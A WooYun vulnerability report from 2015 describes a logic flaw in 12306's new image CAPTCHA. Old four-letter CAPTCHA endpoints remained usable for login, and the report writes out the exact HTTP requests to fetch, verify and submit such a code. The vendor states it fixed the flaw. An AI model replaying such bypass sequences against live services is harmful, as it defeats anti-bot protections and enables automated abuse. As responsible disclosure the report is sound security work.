当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0103427

漏洞标题:12306新版选择图片验证码存在逻辑漏洞导致限制可被绕过(理论可以令抢票软件复活)

相关厂商:12306

漏洞作者: 路人甲

提交时间:2015-03-24 16:24

修复时间:2015-05-08 19:36

公开时间:2015-05-08 19:36

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-24: 细节已通知厂商并且等待厂商处理中
2015-03-24: 厂商已经确认,细节仅向厂商公开
2015-04-03: 细节向核心白帽子及相关领域专家公开
2015-04-13: 细节向普通白帽子公开
2015-04-23: 细节向实习白帽子公开
2015-05-08: 细节向公众公开

简要描述:

新的选择图片验证码确实比之前的4个字母的验证码难度高, 中文识别也有难度, 但是目前发现12306的新图片选择验证码有可绕过的漏洞, 应该是更新不全面造成的漏洞.

详细说明:

12306 新的图片验证码可以被绕过, 可以继续用老的4字母验证码登陆12306 .
老的4字母验证码比较容易电脑识别, 可以用注册或其他验证码接口直接登录.
漏洞1:
https://kyfw.12306.cn/otn/passcodeNew/getPassCodeNew?module=regist&rand=sjrand&0.54322674895787
漏洞2:
https://kyfw.12306.cn/otn/passcodeNew/getPassCodeNew?module=other&rand=sjrand&0.36124213441517
变换moudle,即可获取不同操作的验证码,如订单是 passenger 。
这两个连接可以获取4字母验证码, 12306登陆接口可以用这里识别的验证码直接登录. 这个情况下, 新的图片验证码形同虚设.

漏洞证明:

1.jpg


2.jpg


3.jpg


4.jpg


1. 先获取验证码(老的4字母验证码)

GET https://kyfw.12306.cn/otn/passcodeNew/getPassCodeNew?module=regist&rand=sjrand&0.54322674895787 HTTP/1.1


2. 电脑识别验证码, 检查验证码正确

POST https://kyfw.12306.cn/otn/passcodeNew/checkRandCodeAnsyn HTTP/1.1
randCode=9npm&rand=sjrand&randCode_validate=


3. Post到Login网址, 即可登陆

POST https://kyfw.12306.cn/otn/login/loginAysnSuggest HTTP/1.1
loginUserDTO.user_name=xxxx&userDTO.password=xxxx&randCode=9npm&randCode_validate=&MTA4OTAx=Yzk1NzdkZGMwZTBiYTE4Nw==&myversion=undefined
{"validateMessagesShowId":"_validatorMessage","status":true,"httpstatus":200,"data":{"loginCheck":"Y"},"messages":[],"validateMessages":{}}


完全没用到选择图片的验证码.

修复方案:

建议全面更新验证码, 排查老验证码漏洞.

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-03-24 19:34

厂商回复:

正在评估,谢谢!

最新状态:

2015-03-24:今晚将修复此漏洞。谢谢!

2015-03-25:漏洞已修复,谢谢!